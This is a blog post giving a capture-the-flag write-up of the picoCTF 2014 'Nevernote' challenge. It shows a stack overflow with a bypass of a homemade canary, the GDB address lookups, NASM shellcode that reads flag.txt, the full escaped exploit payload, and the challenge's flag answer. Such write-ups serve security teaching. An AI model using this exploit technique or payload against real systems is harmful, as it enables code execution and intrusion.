Thursday, November 13, 2014

picoCTF 2014: Nevernote (binary180)

Nevernote was a 180 point binary exploitation problem. Like most of the binary exploitation challenges, the goal is to find some vulnerability and exploit it to get the flag. This one, however, apparently uses a special library to detect buffer overflows. We'll have to contend with that if we want to get code execution. So let's jump in!

Let's start by taking a look at the command processing function called by main():

 void command_loop(){  
   char name[64];  
   char command[16];  
   char *note_file_path;  
   printf("Please enter your name: ");  
   fflush(stdout);  
   fgets(name, 64, stdin);  
   name[strcspn(name, "\n")] = '\0';  
   if (strchr(name, '.') || strchr(name, '/')){  
     printf("Bad character in name!\n");  
     return;  
   }  
   note_file_path = (char *)malloc(strlen(name)+64);  
   sprintf(note_file_path, "/home/nevernote/notes/%s", name);  
   while (true){  
     printf("Enter a command: ");  
     fflush(stdout);  
     if (fgets(command, 16, stdin) == NULL) goto exit;  
     switch (command[0]){  
       case 'a':  
       case 'A':  
         add_note(note_file_path);  
         break;  
       case 'v':  
       case 'V':  
         view_notes(note_file_path);  
         break;  
       case 'q':  
       case 'Q':  
         goto exit;  
       default:  
         puts("Commands: [a]dd_note, [v]iew_notes, [q]uit");  
         fflush(stdout);  
         break;  
     }  
   }  
 exit:  
   free(note_file_path);  
   return;  
 }

The command loop is fairly self-explanatory, but just a few observations:

  • Nevernote asks for a name in order to create a special directory for your notes. It also checks for characters like . and / which could alter the path, so we can't just point it at the parent directory and make the program read the flag for us.
  • Enough space is allocated to sprintf() the name into note_file_path, so there's no buffer vulnerability in there. Not like they'd make it this easy anyway.


Now let's take a look at the function for adding a note, add_note(), along with the function that actually reads it in, get_note():

 #define NOTE_SIZE 1024
  
 bool get_note(char *dest){  
   struct safe_buffer temporary;  
   bool valid;  
   get_canary(&temporary.can);  
   printf("Write your note: ");  
   fflush(stdout);  
   fgets(temporary.buf, NOTE_SIZE, stdin);  
   // disallow some characters  
   if (strchr(temporary.buf, '\t') || strchr(temporary.buf, '\r')){  
     valid = false;  
   }else{  
     valid = true;  
     strncpy(dest, temporary.buf, NOTE_SIZE);  
   }  
   verify_canary(&temporary.can);  
   return valid;  
 }
  
 void add_note(char *path){  
   char *new_note = (char *)malloc(NOTE_SIZE);  
   if (get_note(new_note) == true){ //note passed the check  
     FILE *f;  
     if ((f = fopen(path, "a")) == NULL){  
       puts("Cannot write note.");  
       fflush(stdout);  
       free(new_note);  
       exit(1);  
     }  
     fputs(new_note, f);  
     fclose(f);  
     puts("Note added.");  
     fflush(stdout);  
   }else{  
     puts("Your note contained invalid characters. Please try again.");  
     fflush(stdout);  
   }  
   free(new_note);  
 }  

add_note() allocates a buffer and invokes get_note() to read data into the buffer. get_note() allocates a "safe buffer" on the stack, reads 1024 bytes from stdin into it, checks for path characters, and then does a check on the safe buffer's canary. The safe buffer is likely the buffer overflow detection library mentioned, so let's see how it's implemented.

 #define SAFE_BUFFER_SIZE 512
  
 struct canary{  
   int canary;  
   int *verify;  
 };
  
 /* buffer overflow resistant buffer */  
 struct safe_buffer{  
   char buf[SAFE_BUFFER_SIZE];  
   struct canary can;  
 }; 

 static void __canary_failure(int signo){  
   printf("Buffer overflow detected! Exiting.\n");  
   exit(0);  
 }
  
 void get_canary(struct canary *c){  
   // store the canary on the heap for verification!  
   int *location = (int *)malloc(sizeof(int));  
   // use good randomness!  
   FILE *f = fopen("/dev/urandom", "r");  
   fread(location, sizeof(int), 1, f);  
   fclose(f);  
   c->verify = location;  
   c->canary = *location;  
   return;  
 }
  
 void verify_canary(struct canary *c){  
   if (c->canary != *(c->verify)){  
     printf("Canary was incorrect!\n");  
     __canary_failure(1);  
   }  
   // we're all good; free the canary and return  
   free(c->verify);  
   return;  
 }
  
 void register_segfault_handler(){  
   signal(SIGSEGV, __canary_failure);  
 }

Right away, there's an apparent buffer overflow vulnerability. get_note() tries to read 1024 bytes into the safe buffer, which is only 512 bytes long. Since the safe buffer is stored on the stack, we can overwrite the return address and jump wherever we want. And because there's no NX or ASLR on this binary, we can just put shellcode inside the buffer and point back at it. But that's assuming that we won't be stopped by the canary.

The canary contains a random value, which is verified against a copy of that same value on the heap. verify_canary(), called by get_note() after reading into the buffer, makes sure that the canary wasn't modified, and exits the program if it isn't. On the surface, it seems secure, but there's actually a pretty serious bug in this canary implementation. Both the canary we're checking and the pointer to the correct value are stored right after the buffer, so the buffer overflow extends to both of them. We can just point the correct value to a buffer whose value we know.

(One aside: we do have to be careful with this. The buffer with the correct value is freed by verify_canary() right after. This means we can't just point it to anywhere. It has to actually be a buffer on the heap. Otherwise, the free() function will fail or crash.)

So what's a heap buffer whose value we know? Well, there is note_file_path, way back in the command_loop() function. It always begins with "/home/nevernote/notes/", so we know the first 4 bytes, which is enough. We just need to find its address. There's no ASLR, so it's reasonable to assume that it'll be at the same place every time. We can find out the exact address by setting a GDB breakpoint in command_loop() right after malloc() returns and looking at EAX.

Using objdump to print out a disassembly of nevernote shows the following code inside command_loop():

 8048b2e: e8 9d fa ff ff     call  80485d0 <malloc@plt>  
 8048b33: 89 45 f4           mov  %eax,-0xc(%ebp)  

So the breakpoint should be placed at 0x08048b33. Let's do this:

 (gdb) b *0x08048b33                                             
 Breakpoint 1 at 0x8048b33                                          
 (gdb) run                                                  
 Starting program: /home/nevernote/nevernote                                 
 Please enter your name: george                                        
 Breakpoint 1, 0x08048b33 in command_loop ()                                 
 (gdb) info registers                                             
 eax      0x804c008    134529032                                  
 ecx      0xf7fc8420    -134446048                                  
 edx      0x804c008    134529032                                  
 ebx      0xf7fc8000    -134447104                                  
 esp      0xffffd6a0    0xffffd6a0                                  
 ebp      0xffffd718    0xffffd718                                  
 esi      0x0   0                                          
 edi      0x0   0                                          
 eip      0x8048b33    0x8048b33 <command_loop+168>                         
 eflags     0x282  [ SF IF ]                                      
 cs       0x23   35                                          
 ss       0x2b   43                                          
 ds       0x2b   43                                          
 es       0x2b   43                                          
 fs       0x0   0                                          
 gs       0x63   99                                          
 (gdb)  

So the address of note_file_path will be 0x0804c008, and its first four bytes are "/hom". This is all the information we need to overwrite the canary without Nevernote noticing. Let's try this out to see if it actually works:

 pico59150@shell:/home/nevernote$ { echo "george"; sleep 1; echo "a"; sleep 1; echo -n -e "aaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/hom\x08\xc0\x04\x08"; } | .  
 /nevernote                                                  
 Please enter your name: Enter a command: Write your note: Cannot write note.  
 pico59150@shell:/home/nevernote$  

We use a series of echos because we need to send multiple stdin inputs to Nevernote. After entering a name and telling it to add a note, we enter a note that overflows the buffer. There are 512 "a" characters, followed by /hom and then the address of the known buffer (0x0804c008). As we can see, it passes the canary check and actually tries to write the note (though this fails). Now that the canary check works, we just need the address of the buffer, and then we can start writing shellcode!

 80488ac: 8d 85 ec fd ff ff     lea  -0x214(%ebp),%eax  
 80488b2: 89 04 24              mov  %eax,(%esp)  
 80488b5: e8 d6 fc ff ff        call  8048590 <fgets@plt>  

This is right before the fgets() call in get_note(), so EAX (the first argument) will be the address of the buffer. We can use GDB again to get the address:

 (gdb) b *0x080488b5                                             
 Breakpoint 1 at 0x80488b5                                          
 (gdb) run                                                  
 Starting program: /home/nevernote/nevernote                                 
 Please enter your name: george                                        
 Enter a command: a                                              
 Write your note:                                               
 Breakpoint 1, 0x080488b5 in get_note ()                                   
 (gdb) info registers                                             
 eax      0xffffd454    -11180                                    
 ecx      0xf7fc9898    -134440808                                  
 edx      0x0   0                                          
 ebx      0xf7fc8000    -134447104                                  
 esp      0xffffd440    0xffffd440                                  
 ebp      0xffffd668    0xffffd668                                  
 esi      0x0   0                                          
 edi      0x0   0                                          
 eip      0x80488b5    0x80488b5 <get_note+79>                           
 eflags     0x286  [ PF SF IF ]                                     
 cs       0x23   35                                          
 ss       0x2b   43                                          
 ds       0x2b   43                                          
 es       0x2b   43                                          
 fs       0x0   0                                          
 gs       0x63   99                                          
 (gdb)  

GDB tells us that our buffer is located at 0xffffd454. Finally, we can start writing some shellcode to get the flag. There are multiple ways to do this, but I personally have boilerplate shellcode that makes several Linux kernel syscalls to open, read, and print out the flag. On Linux, syscalls are traditionally done with int 0x80.

 [BITS 32]  
 start:  
      mov ebp, 0xffffd454
  
      xor eax, eax  
      mov al, 5  
      lea ebx, [ebp + 0x2d]  
      xor edx, edx  
      mov [ebp + 0x35], dl  
      xor ecx, ecx  
      int 0x80
  
      mov ebx, eax  
      xor eax, eax  
      mov al, 3  
      lea ecx, [ebp + 0x38]  
      xor edx, edx  
      mov dl, 36  
      int 0x80
  
      xor eax, eax  
      mov al, 4  
      xor ebx, ebx  
      inc ebx  
      int 0x80  
 filename db "flag.txta"  
 data:  


If we assemble this into a binary (you'll need NASM, since I use that syntax), disassemble it, and put all the bytes together with escape codes, we can now insert this shellcode into our buffer. We also need to pad it to 512 bytes, which we'll just do with 0xebfe. Then we have the canary bypass and the address of our buffer, which will alter the return address.

 pico59150@shell:/home/nevernote$ { echo "george"; sleep 1; echo "a"; sleep 1; echo -n -e "\xbd\x54\xd4\xf  
 f\xff\x31\xc0\xb0\x05\x8d\x5d\x2d\x31\xd2\x88\x55\x35\x31\xc9\xcd\x80\x89\xc3\x31\xc0\xb0\x03\x8d\x4d\x38  
 \x31\xd2\xb2\x30\xcd\x80\x31\xc0\xb0\x04\x31\xdb\x43\xcd\x80\x66\x6c\x61\x67\x2e\x74\x78\x74\x61\xeb\xfe\  
 xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x  
 eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xe  
 b\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb  
 \xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\  
 xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\x  
 fe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xf  
 e\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe  
 \xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\  
 xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x  
 eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xe  
 b\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb  
 \xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\  
 xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\x  
 fe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xf  
 e\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe  
 \xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\  
 xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x  
 eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe/hom\x08\xc0\x04\x08\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xf  
 f\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff"; } | ./nevernote     
 Please enter your name: Enter a command: Write your note: the_hairy_canary_fairy_is_still_very_wary     
 ëþëþëþBuffer overflow detected! Exiting.                                   
 pico59150@shell:/home/nevernote$  

The program does crash, but we get the flag printed out before that. The flag, the_hairy_canary_fairy_is_still_very_wary, concludes the challenge, netting us 180 points!

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home